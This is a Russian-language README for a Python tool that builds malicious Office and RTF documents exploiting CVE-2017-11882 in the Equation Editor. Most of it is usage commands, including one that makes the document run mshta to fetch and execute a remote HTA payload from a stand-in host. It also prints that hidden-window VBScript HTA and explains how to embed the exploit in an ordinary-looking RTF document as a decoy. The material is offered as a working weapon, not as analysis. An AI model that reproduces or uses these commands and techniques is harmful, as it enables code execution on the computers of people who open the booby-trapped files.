
Python-генератор эксплойтов для CVE-2017-11882 (уязвимость редактора формул Microsoft Office) с поддержкой пользовательского shellcode, полезных нагрузок mshta и внедрения в документы RTF.
43b — оригинальный скрипт взят из https://github.com/embedi/CVE-2017-11882
109b — оригинальный скрипт взят из https://github.com/unamer/CVE-2017-11882/ (респект: теперь код unamer умеет выполнять shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Исследование: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Анализ патча: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Демонстрация PoC-эксплуатации: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
используйте mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
Длина команды для 43b не может превышать 43 байт, для 109b — 109 байт.
Папка example содержит .rtf-файл, который эксплуатирует уязвимость CVE-2017-11882 и запускает калькулятор в системе.
Вообще, приём с пользовательским содержимым я перенял у других мастеров. Скрипт я написал уже давно и публиковать его не собирался, но увидел, что кто-то в нашей группе уже его выложил, — делать нечего, пришлось опубликовать. На самом деле способ очень простой: нужно открыть обычный RTF-документ в текстовом редакторе, скопировать всё, что находится до {*\datastore, и заменить этим содержимое до {\object\objautlink\objupdate. Так что реализовать это в скрипте очень просто.
Способ добавления пользовательского содержимого — выберите любой скрипт:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Пользовательское содержимое находится в input.rtf.
Что касается новейшего эксплойта unamer на 605 байт — обновлять его не буду, если интересно, доработайте сами.